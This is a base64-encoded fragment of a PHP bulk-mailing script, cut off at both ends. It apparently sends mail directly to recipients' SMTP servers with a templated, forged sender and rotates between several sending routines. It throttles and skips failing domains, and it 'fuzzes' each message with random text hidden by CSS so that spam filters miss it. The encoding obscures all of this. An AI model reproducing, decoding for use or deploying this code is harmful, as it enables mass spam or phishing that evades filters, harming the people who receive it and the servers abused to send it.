ZXJ2ZXIsICRzbXRwUG9ydCk7CgkJCQlpZiAoISRzbXRwY29ubikgewoJCQkJCS8vdGhpcyB3aWxsIG5ldmVyIHdvcmsgc28gd2UgYmV0dGVyIHF1aXQgZWFybHkuCgkJCQkJcHJpbnQgIjU1NSAtIGNvdWxkbid0IGNvbm5lY3QhPGJyPiI7CgkJCQkJLy9leGl0KCk7CgkJCQl9CgkJCX0KCQl9Cgl9CgkvL2VjaG8gJHNtdHBTZXJ2ZXI7CglyZXR1cm4gJHNtdHBjb25uOwp9CmZ1bmN0aW9uIHNheUhlbGxvKCRzbXRwY29ubiwkZG9taG9zdCl7CglnbG9iYWwgJHNtdHBfZnJvbTsKCSR0YWxrID0gYXJyYXkoKTsKCSRmZW1haWwgPSBzdHJfcmVwbGFjZSgie3tob3N0bmFtZX19IiwkZG9taG9zdCwkc210cF9mcm9tKTsKCWxpc3QoJHVzYSwkZG9taG9zdCkgPSBleHBsb2RlKCdAJywkZmVtYWlsKTsKCSR0YWxrWyJiYW5uZXIiXSA9IGdldF9saW5lKCRzbXRwY29ubix0cnVlKTsKCWZwdXRzICgkc210cGNvbm4sICJFSExPICIuJGRvbWhvc3QuIlxyXG4iKTsKCSR0YWxrWyJoZWxsbyJdID0gZ2V0X2xpbmUoJHNtdHBjb25uKTsKCWlmIChzdHJwb3MoJHRhbGtbJ2hlbGxvJ10sICdTVEFSVFRMUycpICYmIGlzc2V0KCRfR0VUWydkaXJlY3RzZW5kJ10pKSB7CgkJCgl9CglpZiAoc3RycG9zKCR0YWxrWydoZWxsbyddLCAnMjUwJyk9PT1mYWxzZSkgewoJCWZwdXRzKCRzbXRwY29ubiwgIkhFTE8gIi4kZG9taG9zdC4iXHJcbiIpOwoJCSR0YWxrWyJoZWxsbyJdIC49IGdldF9saW5lKCRzbXRwY29ubik7Cgl9CglyZXR1cm4gJHRhbGs7Cn0KZnVuY3Rpb24gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRzbXRwY29ubiwkcmVjaXBpZW50LCR0YWxrKXsKCWdsb2JhbCAkY291bnQsJGNvdW50ZXIsJG5leHRUbzsKCWlmIChpc3NldCgkX0dFVFsnZGVidWcnXSkpIHsKCQlwcmludF9yKCR0YWxrKTsKCX0KCSRyZWNvbm5lY3RBZnRlciA9IDQ5OwoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSAmJiBpc19udW1lcmljKCRfR0VUWydjaHVuayddKSkgewoJCSRyZWNvbm5lY3RBZnRlciA9ICRfR0VUWydjaHVuayddOwoJfQoJJHRvUGFydHMgPSBleHBsb2RlKCcsJywgJHJlY2lwaWVudCk7CgkkbnRvUGFydHMgPSBleHBsb2RlKCcsJywkbmV4dFRvKTsKCWxpc3QoJG51c2VyLCRkaXNkb20pID0gZXhwbG9kZSgnQCcsICR0b1BhcnRzWzBdKTsKCWxpc3QoJG91c2VyLCRuZXhkb20pID0gZXhwbG9kZSgnQCcsICRudG9QYXJ0c1swXSk7Cgkkc3RhdHMgPSBpbXBsb2RlKCIgIiwgJHRhbGspOwoJaWYgKHByZWdfbWF0Y2goIi89PlxzWzQ1XVswLTldezJ9KC18XHMpLyIsICRzdGF0cyk9PT10cnVlIHx8IHN0cmxlbigkc3RhdHMpIDwgOCkgewoJCSRlcnJvclNlbmRpbmcgPSB0cnVlOwoJfQoJLy9lY2hvICIkZGlzZG9tIC0+ICRuZXhkb20iOwoJaWYgKCRjaHVuaz09ZmFsc2UpIHsKCQlmcHV0cyAoJHNtdHBjb25uLCAiUVVJVFxyXG4iKTsKCQlmY2xvc2UoJHNtdHBjb25uKTsKCQkkc210cGNvbm4gPSBmYWxzZTsKCX1lbHNlaWYgKCRjb3VudDw9JGNvdW50ZXIgfHwgJGNvdW50ZXIlJHJlY29ubmVjdEFmdGVyID09IDAgfHwgJGRpc2RvbSE9JG5leGRvbSB8fCAkZXJyb3JTZW5kaW5nID09IHRydWUpIHsKCQlmcHV0cyAoJHNtdHBjb25uLCAiUVVJVFxyXG4iKTsKCQlmY2xvc2UoJHNtdHBjb25uKTsKCQkkc210cGNvbm4gPSBmYWxzZTsKCX0KCWlmICgkY291bnRlciUyMD09MCkgewoJCS8vc2xlZXAoMSk7Cgl9CglyZXR1cm4gJHNtdHBjb25uOwp9CmZ1bmN0aW9uIG1peCgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpewoJaWYgKCFpc3NldCgkX1NFU1NJT05bJ21ldGgnXSl8fCRfU0VTU0lPTlsnbWV0aCddID09ICdjb25mdXNlJykgewoJCSRfU0VTU0lPTlsnbWV0aCddID0gJ2NvbmZ1c2UyJzsKCQlyZXR1cm4gc2VuZE1haWwoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCX1lbHNlaWYgKCRfU0VTU0lPTlsnbWV0aCddID09ICdjb25mdXNlMicpIHsKCQkkX1NFU1NJT05bJ21ldGgnXSA9ICdjb25mdXNlJzsKCQlyZXR1cm4gc2VuZE1haWwzKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSk7Cgl9Cn0KZnVuY3Rpb24gZ2V0X2xpbmUoJHNtdHBDb25uZWN0aW9uLCRwYXJ0aWFsPWZhbHNlKXsKCSRkYXRhID0gIiI7CgkvL3JldHVybiBAZmdldHMoJHNtdHBDb25uZWN0aW9uLDUwKTsKCSB3aGlsZSgkc3RyID0gQGZnZXRzKCRzbXRwQ29ubmVjdGlvbiw1MTIpKSB7CgkJICRkYXRhIC49ICRzdHI7CgkgCWlmKHN1YnN0cigkc3RyLDMsMSkgPT0gIiAiKSB7IGJyZWFrOyB9CgkgfQoJIHJldHVybiAkZGF0YTsKfQoKZnVuY3Rpb24gc2VuZE1haWwgKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSl7CglnbG9iYWwgJGNvdW50LCRjb3VudGVyLCRTTVRQSU4sJFNNVFBJTmhvbGQsJHNtdHBfZnJvbTsKCWlmICgkY291bnRlciUxMD09MCkgewoJCSRTTVRQSU5ob2xkID0gZnNvY2tvcGVuICgkc210cFNlcnZlciwgJHNtdHBQb3J0KTsKCX0KCSRlaGxvSG9zdCA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT9nZXRob3N0YnlhZGRyKCRfU0VSVkVSWydTRVJWRVJfQUREUiddKTpnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydMT0NBTF9BRERSJ10pOwoJaWYgKCRTTVRQSU49PT1mYWxzZXx8ISRTTVRQSU4pIHsKCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCSR0YWxrID0gc2F5SGVsbG8oJFNNVFBJTiwgJGVobG9Ib3N0KTsKCX1lbHNlewoJICAgIC8vdXNpbmcgcHJldmlvdXMgY29ubgoJICAgIGZwdXRzICgkU01UUElOLCAiUlNFVFxyXG4iKTsKCSAgICAkdGFsa1sncmVzZXQnXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJJHVzZXJuYW1lID0gZ2VuZXJhdGVSYW5kb21BbHBoYU51bWVyaWNTdHJpbmcoOCk7CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006IDwkc2Zyb20+XHJcbiIpOwoJCWZwdXRzICgkU01UUElOLCAiUkNQVCBUTzogPCIuJHRvLiI+XHJcbiIpOwoJCWZwdXRzKCRTTVRQSU4sICJEQVRBXHJcbiIpOwoJCWZwdXRzKCRTTVRQSU4sICRtZXNzYWdlQm9keS4iXHJcbi5cclxuIik7CQoKCX0KCgkvL25lZWQgYSBuZXcgY29ubmVjdGlvbiBzbyBjbG9zZSB0aGlzIG9uZS4KCWZwdXRzICgkU01UUElOLCAiUVVJVFxyXG4iKTsKCWZjbG9zZSgkU01UUElOKTsKCSRTTVRQSU4gPSBmYWxzZTsKCglpZiAoaXNzZXQoJF9HRVRbJ2RlYnVnJ10pKSB7CgkJcHJpbnRfcigkdGFsayk7Cgl9CgoJcmV0dXJuICR0YWxrOwp9CgpmdW5jdGlvbiBzZW5kTWFpbDIgKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSl7CglnbG9iYWwgJGNvdW50LCRjb3VudGVyLCRTTVRQSU4sJHNtdHBfZnJvbTsKCSRjaHVuayA9IGZhbHNlOwoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCSRjaHVuayA9IHRydWU7Cgl9CgkKCSRlaGxvSG9zdCA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT9nZXRob3N0YnlhZGRyKCRfU0VSVkVSWydTRVJWRVJfQUREUiddKTpnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydMT0NBTF9BRERSJ10pOwoJCWlmICghJFNNVFBJTikgewoJCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCQkkdGFsayA9IHNheUhlbGxvKCRTTVRQSU4sICRlaGxvSG9zdCk7CgkJfWVsc2V7CgkgICAgLy91c2luZyBwcmV2aW91cyBjb25uCgkgICAgZnB1dHMgKCRTTVRQSU4sICJSU0VUXHJcbiIpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSR1c2VybmFtZSA9IGdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKDgpOwoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006PCRzZnJvbT5cclxuIik7CgkJJHRhbGtbIkZyb20iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWZwdXRzICgkU01UUElOLCAiUkNQVCBUTzogPCIuJHRvLiI+XHJcbiIpOwoJCSR0YWxrWyJUbyJdID0gZ2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CgkJZnB1dHMoJFNNVFBJTiwgIkRBVEFcclxuIik7CgkJJHRhbGtbImRhdGEiXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWZwdXRzKCRTTVRQSU4sICRtZXNzYWdlQm9keS4iXHJcbi5cclxuIik7CgkJJHRhbGtbInNlbmQiXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoKCX0KCgkvL25lZWQgYSBuZXcgY29ubmVjdGlvbiBzbyBjbG9zZSB0aGlzIG9uZS4KCSRTTVRQSU4gPSBxdWl0Q29ubmVjdGlvbigkY2h1bmssJFNNVFBJTiwkdG8sJHRhbGspOwoKCXJldHVybiAkdGFsazsKfQoKZnVuY3Rpb24gc2VuZE1haWwzICgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpewoJZ2xvYmFsICRjb3VudCwkY291bnRlciwkU01UUElOLCRzbXRwX2Zyb207CgkkY2h1bmsgPSBmYWxzZTsKCSRlaGxvSG9zdCA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT9nZXRob3N0YnlhZGRyKCRfU0VSVkVSWydTRVJWRVJfQUREUiddKTpnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydMT0NBTF9BRERSJ10pOwoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCSRjaHVuayA9IHRydWU7Cgl9CglpZiAoISRTTVRQSU4pIHsKCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCSR0YWxrID0gc2F5SGVsbG8oJFNNVFBJTiwgJGVobG9Ib3N0KTsKCX1lbHNlewoJICAgIC8vdXNpbmcgcHJldmlvdXMgY29ubgoJICAgIGZwdXRzICgkU01UUElOLCAiUlNFVFxyXG4iKTsKCX0KCWlmICgkU01UUElOKXsKCQkkdXNlcm5hbWUgPSBnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZyg4KTsKCQkkc2Zyb20gPSAkc210cF9mcm9tOwoJCSRzZnJvbSA9IHN0cl9yZXBsYWNlKCd7e2hvc3RuYW1lfX0nLCAkZWhsb0hvc3QsICRzbXRwX2Zyb20pOwoJCQoJCWZwdXRzICgkU01UUElOLCAiTUFJTCBGUk9NOjwkc2Zyb20+XHJcbiIpOwoJICAgICR0YWxrWyJGcm9tIl0gPSBnZXRfbGluZSgkU01UUElOKTsKCQlmcHV0cyAoJFNNVFBJTiwgIlJDUFQgVE86IDwiLiR0by4iPlxyXG4iKTsKCQkkdGFsa1siVG8iXSA9IGdldF9saW5lKCRTTVRQSU4pOwoJCWZwdXRzKCRTTVRQSU4sICJEQVRBXHJcbiIpOwoJCSR0YWxrWyJkYXRhIl09Z2V0X2xpbmUoJFNNVFBJTik7CgkJZnB1dHMoJFNNVFBJTiwgJG1lc3NhZ2VCb2R5LiJcclxuLlxyXG4iKTsKCQkkdGFsa1sic2VuZCJdPWdldF9saW5lKCRTTVRQSU4pOwkKCgl9CgoJLy9uZWVkIGEgbmV3IGNvbm5lY3Rpb24gc28gY2xvc2UgdGhpcyBvbmUuCgkkU01UUElOID0gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRTTVRQSU4sJHRvLCR0YWxrKTsKCglyZXR1cm4gJHRhbGs7Cn0KCmZ1bmN0aW9uIHNlbmRNYWlsNCAoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KXsKCWdsb2JhbCAkY291bnQsJGNvdW50ZXIsJFNNVFBJTiwkc210cF9mcm9tOwoJJGNodW5rID0gZmFsc2U7CgkkZWhsb0hvc3QgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk6Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnTE9DQUxfQUREUiddKTsKCWlmIChpc3NldCgkX0dFVFsnY2h1bmsnXSkpIHsKCQkkY2h1bmsgPSB0cnVlOwoJfQoJaWYgKCRTTVRQSU49PT1mYWxzZXx8ISRTTVRQSU4pIHsKCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCSR0YWxrID0gc2F5SGVsbG8oJFNNVFBJTiwgJGVobG9Ib3N0KTsKCX1lbHNlewoJICAgIC8vdXNpbmcgcHJldmlvdXMgY29ubgoJICAgIGZwdXRzICgkU01UUElOLCAiUlNFVFxyXG4iKTsKCSAgICAkdGFsa1sncmVzZXQnXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSR1c2VybmFtZSA9IGdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKDgpOwoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006PCRzZnJvbT5cclxuIik7CgkJJHRhbGtbIkZyb20iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWZwdXRzICgkU01UUElOLCAiUkNQVCBUTzogPCIuJHRvLiI+XHJcbiIpOwoJCSR0YWxrWyJUbyJdID0gZ2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CgkJZnB1dHMoJFNNVFBJTiwgIkRBVEFcclxuIik7CgkJJHRhbGtbImRhdGEiXT1nZXRfbGluZSgkU01UUElOLCB0cnVlKTsKCQlmcHV0cygkU01UUElOLCAkbWVzc2FnZUJvZHkuIlxyXG4uXHJcbiIpOwoJCSR0YWxrWyJzZW5kIl09Z2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CQogICAgICAgIAoJfQoKCS8vbmVlZCBhIG5ldyBjb25uZWN0aW9uIHNvIGNsb3NlIHRoaXMgb25lLgoJJFNNVFBJTiA9IHF1aXRDb25uZWN0aW9uKCRjaHVuaywkU01UUElOLCR0bywkdGFsayk7CgoJcmV0dXJuICR0YWxrOwp9CgpmdW5jdGlvbiBlcnJvck9jY3VyZWQoJHN0YXR1cyl7CgkkcmVzcG9uc2VDb2RlID0gc3Vic3RyKCRzdGF0dXMsIDAsIDEpOwoJLy9wcmludCBzdWJzdHIoJHN0YXR1cywgMCwgMyk7CgkkZXJyb3JDb2RlcyA9IGFycmF5KCI0IiwiNSIpOwoJCQkJCglpZiAoaW5fYXJyYXkoJHJlc3BvbnNlQ29kZSwgJGVycm9yQ29kZXMpKSB7CgkJcmV0dXJuIHRydWU7Cgl9CglyZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHNlbmRNYWlsNSAoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KXsKCWdsb2JhbCAkY291bnQsJGNvdW50ZXIsJFNNVFBJTiwkc210cF9mcm9tLCRlcnJvckNvdW50LCRza2lwRG9tYWluOwoJJGNodW5rID0gZmFsc2U7CgkkZWhsb0hvc3QgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk6Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnTE9DQUxfQUREUiddKTsKCWxpc3QoJHUsICRkKSA9IGV4cGxvZGUoJ0AnLCAkdG8pOwoJJGxhc3RGaXZlRXJyb3JDb3VudCA9IGFycmF5X3NsaWNlKCRlcnJvckNvdW50LCAtNSk7CglpZiAoY291bnQoYXJyYXlfdW5pcXVlKCRsYXN0Rml2ZUVycm9yQ291bnQpKT09MSAmJiBjb3VudCgkbGFzdEZpdmVFcnJvckNvdW50KT09NSkgewoJCSRza2lwRG9tYWluW10gPSAkZDsKCX0KCWlmIChpbl9hcnJheSgkZCwgJHNraXBEb21haW4pKSB7CgkJJHRhbGsgPSBhcnJheSgnNTk5LWhhdmluZyBpc3N1ZXMgd2l0aCB0aGF0IHNtdHAgc2VydmVyJyk7CgkJcmV0dXJuICR0YWxrOwoJfQoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCSRjaHVuayA9IHRydWU7Cgl9CglpZiAoJFNNVFBJTj09PWZhbHNlfHwhJFNNVFBJTikgewoJCSRTTVRQSU4gPSBnZXRDb25uZWN0aW9uKCR0byk7CgkJJHN0dGltZTIgPSBtaWNyb3RpbWUodHJ1ZSk7CgkJJGRpZmYgPSAkc3R0aW1lMiAtICRzdHRpbWU7CgkJLy9lY2hvICIkZGlmZiAkc3R0aW1lMiAkc3R0aW1lPGJyPiI7CgkJJHRhbGsgPSBzYXlIZWxsbygkU01UUElOLCAkZWhsb0hvc3QpOwoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1snYmFubmVyJ10pPT10cnVlKXsKCQkJJFNNVFBJTiA9IHF1aXRDb25uZWN0aW9uKCRjaHVuaywkU01UUElOLCR0bywkdGFsayk7CgkJCSRTTVRQSU4gPSBmYWxzZTsKCQkJJGVycm9yQ291bnRbXSA9ICRkOwoJCQlyZXR1cm4gJHRhbGs7CgkJfQoJfWVsc2V7CgkgICAgLy91c2luZyBwcmV2aW91cyBjb25uCgkgICAvLyBmcHV0cyAoJFNNVFBJTiwgIlJTRVRcclxuIik7CgkgICAvLyAkdGFsa1sncmVzZXQnXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSR1c2VybmFtZSA9IGdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKDgpOwoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJLy9wcmludCAkc2Zyb207CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006PCRzZnJvbT5cclxuIik7CgkJJHRhbGtbIkZyb20iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1snRnJvbSddKT09dHJ1ZSl7CgkJCSRTTVRQSU4gPSBxdWl0Q29ubmVjdGlvbigkY2h1bmssJFNNVFBJTiwkdG8sJHRhbGspOwoJCQkkU01UUElOID0gZmFsc2U7CgkJCSRlcnJvckNvdW50W10gPSAkZDsKCQkJcmV0dXJuICR0YWxrOwoJCX0KCQlmcHV0cyAoJFNNVFBJTiwgIlJDUFQgVE86IDwiLiR0by4iPlxyXG4iKTsKCQkkdGFsa1siVG8iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1siVG8iXSk9PXRydWUpewoJCQkkU01UUElOID0gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRTTVRQSU4sJHRvLCR0YWxrKTsKCQkJJFNNVFBJTiA9IGZhbHNlOwoJCQlyZXR1cm4gJHRhbGs7CgkJfQoJCWZwdXRzKCRTTVRQSU4sICJEQVRBXHJcbiIpOwoJCSR0YWxrWyJkYXRhIl09Z2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CgkJaWYoZXJyb3JPY2N1cmVkKCR0YWxrWyJkYXRhIl0pPT10cnVlKXsKCQkJJFNNVFBJTiA9IHF1aXRDb25uZWN0aW9uKCRjaHVuaywkU01UUElOLCR0bywkdGFsayk7CgkJCSRTTVRQSU4gPSBmYWxzZTsKCQkJcmV0dXJuICR0YWxrOwoJCX0KCQlmcHV0cygkU01UUElOLCAkbWVzc2FnZUJvZHkuIlxyXG4uXHJcbiIpOwoJCSR0YWxrWyJzZW5kIl09Z2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CQoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1sic2VuZCJdKT09dHJ1ZSl7CgkJCSRTTVRQSU4gPSBxdWl0Q29ubmVjdGlvbigkY2h1bmssJFNNVFBJTiwkdG8sJHRhbGspOwoJCQkkU01UUElOID0gZmFsc2U7CgkJCXJldHVybiAkdGFsazsKCQl9CiAgICAgICAgCgl9CgoJLy9uZWVkIGEgbmV3IGNvbm5lY3Rpb24gc28gY2xvc2UgdGhpcyBvbmUuCgkkU01UUElOID0gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRTTVRQSU4sJHRvLCR0YWxrKTsKCglyZXR1cm4gJHRhbGs7Cn0KCgpmdW5jdGlvbiBnZXRfZGF0YSgkdXJsKSB7CglpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgewoJCQoJCSRjaCA9IGN1cmxfaW5pdCgpOwoJCSR0aW1lb3V0ID0gNTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwoJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7CgkJY3VybF9jbG9zZSgkY2gpOwoJfWVsc2V7CgkJJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKCX0KCXJldHVybiAkZGF0YTsKfQoKCmZ1bmN0aW9uIGZ1enpMaW5lUGFydCgkbGluZVBhcnQpewogICAgZ2xvYmFsICRpZHNMaXN0OwogICAgaWYgKHByZWdfbWF0Y2goIi9eW1xzXHRcblxyXSskLyIsICRsaW5lUGFydCk9PTEpIHsKICAgICAgICByZXR1cm4gJGxpbmVQYXJ0OwogICAgfQogICAgJGluc2VydEludGVydmFsID0gYXJyYXkoMiwgMywgNCk7CiAgICAkcmFuZExlbmd0aCA9IHJhbmdlKDEwLDQzKTsKICAgICRpID0gYXJyYXlfcmFuZCgkcmFuZExlbmd0aCk7CiAgICAkaiA9IGFycmF5X3JhbmQoJGlkc0xpc3QpOwogICAgJGsgPSBhcnJheV9yYW5kKCRpbnNlcnRJbnRlcnZhbCk7CiAgICAkaGlkZUh0bWxDb2RlID0gJzxzcGFuIGlkPSInLiRpZHNMaXN0WyRqXS4nIj4nLmdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKCRyYW5kTGVuZ3RoWyRpXSkuJzwvc3Bhbj4nOwogICAgJG51TGluZVBhcnQgPSBpbXBsb2RlKCRoaWRlSHRtbENvZGUsIHN0cl9zcGxpdCgkbGluZVBhcnQsICRpbnNlcnRJbnRlcnZhbFska10pKS4kaGlkZUh0bWxDb2RlOwogICAgcmV0dXJuICRudUxpbmVQYXJ0Owp9CgpmdW5jdGlvbiBmdXp6TGluZSgkbGluZSl7CiAgICAkbGluZSAgPSB1cmxkZWNvZGUoJGxpbmVbMF0pOwogICAgLy9rZWVwIGEgbGlzdCBvZiBodG1sIGVudGl0aWVzCiAgICBwcmVnX21hdGNoX2FsbCgiLyZbYS16QS1aMC05XXsyLDh9Oy8iLCAkbGluZSwgJGVudGl0aWVzKTsKICAgICRsaW5lUGFydHMgPSBwcmVnX3NwbGl0KCIvJlthLXpBLVowLTldezIsOH07LyIsICRsaW5lKTsKICAgICRmaW5hbExpbmUgPSAiIjsKICAgIC8vcHJpbnRfcigkZW50aXRpZXMpOwogICAgZm9yICgkaT0wOyAkaSA8IGNvdW50KCRlbnRpdGllc1swXSk7ICRpKyspIHsgCiAgICAgICAgJGZpbmFsTGluZSAuPSBmdXp6TGluZVBhcnQoJGxpbmVQYXJ0c1skaV0pLiRlbnRpdGllc1swXVskaV07CiAgICB9CiAgICAkZmluYWxMaW5lIC49IGZ1enpMaW5lUGFydChlbmQoJGxpbmVQYXJ0cykpOwogICAgcmV0dXJuICRmaW5hbExpbmU7Cn0KCmZ1bmN0aW9uIGZ1enpNZXNzYWdlKCRtZXNzYWdlKXsKICAgIGdsb2JhbCAkaWRzTGlzdDsKICAgIGlmIChpc3NldCgkX0dFVFsnbm9mdXp6J10pKSB7CiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQogICAgJGlkc0xpc3QgPSBhcnJheShnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZyg0KSxnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZyg2KSxnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZygyKSk7CiAgICAkaWRzID0gIiMiLmltcGxvZGUoIiwgIyIsICRpZHNMaXN0KTsKICAgIAogICAgJGNzc0JvZHkgPSAiCiAgICA8c3R5bGU+CiAgICAKICAgICRpZHN7CiAgICAgICAgICAgICAgICAgIGNvbG9yOiB0cmFuc3BhcmVudDsKICAgICAgIGRpc3BsYXk6IG5vbmU7CiAgICAgICBoZWlnaHQ6IDA7CiAgICAgICBtYXgtaGVpZ2h0OiAwOwogICAgICAgbWF4LXdpZHRoOiAwOwogICAgICAgb3BhY2l0eTogMDsKICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICBtc28taGlkZTogYWxsOwogICAgICAgdmlzaWJpbGl0eTogaGlkZGVuOwogICAgICAgd2lkdGg6IDA7CiAgICAgICB9CiAgICAKICAgICAgICA8L3N0eWxlPgogICAgIjsKICAgICRtZXNzYWdlID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCIvKD88PT4pW148Pl0rLyIsICJmdXp6TGluZSIsICRtZXNzYWdlKTsKICAgIGlmIChzdHJpcG9zKCRtZXNzYWdlLCAiPC9oZWFkPiIpIT09ZmFsc2UpIHsKICAgICAgICAkcG9zID0gc3RyaXBvcygkbWVzc2FnZSwgIjwvaGVhZD4iKTsKICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cl9yZXBsYWNlKCRtZXNzYWdlLCAkY3NzQm9keSwgJHBvcywgMCk7CiAgICB9ZWxzZWlmKHN0cmlwb3MoJG1lc3NhZ2UsICI8Ym9keT4iKSE9PWZhbHNlKXsKICAgICAgICAkcG9zID0gc3RyaXBvcygkbWVzc2FnZSwgIjxib2R5PiIpOwogICAgICAgICRtZXNzYWdlID0gc3Vic3RyX3JlcGxhY2UoJG1lc3NhZ2UsICRjc3NCb2R5LCAkcG9zLCAwKTsKICAgIH1lbHNlaWYoc3RyaXBvcygkbWVzc2FnZSwgIjxodG1sPiIpIT09ZmFsc2UpewogICAgICAgICRwb3MgPSBzdHJpcG9zKCRtZXNzYWdlLCAiPGh0bWw+Iik7CiAgICAgICAgJG1lc3NhZ2UgPSBzdWJzdHJfcmVwbGFjZSgkbWVzc2FnZSwgJGNzc0JvZHksICRwb3MrNiwgMCk7CiAgICB9ZWxzZXsKICAgICAgICAkbWVzc2FnZSA9ICRjc3NCb2R5LiRtZXNzYWdlOwogICAgfQogICAgCiAgICByZXR1cm4gJG1lc3NhZ2U7Cn0KCgpmdW5jdGlvbiBnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZygkbGVuZ3RoID0gMTApIHsKICAgICRjaGFyYWN0ZXJzID0gJzAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7CiAgICAkY2hhcmFjdGVyc0xlbmd0aCA9IHN0cmxlbigkY2hhcmFjdGVycyk7CiAgICAkcmFuZG9tU3RyaW5nID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW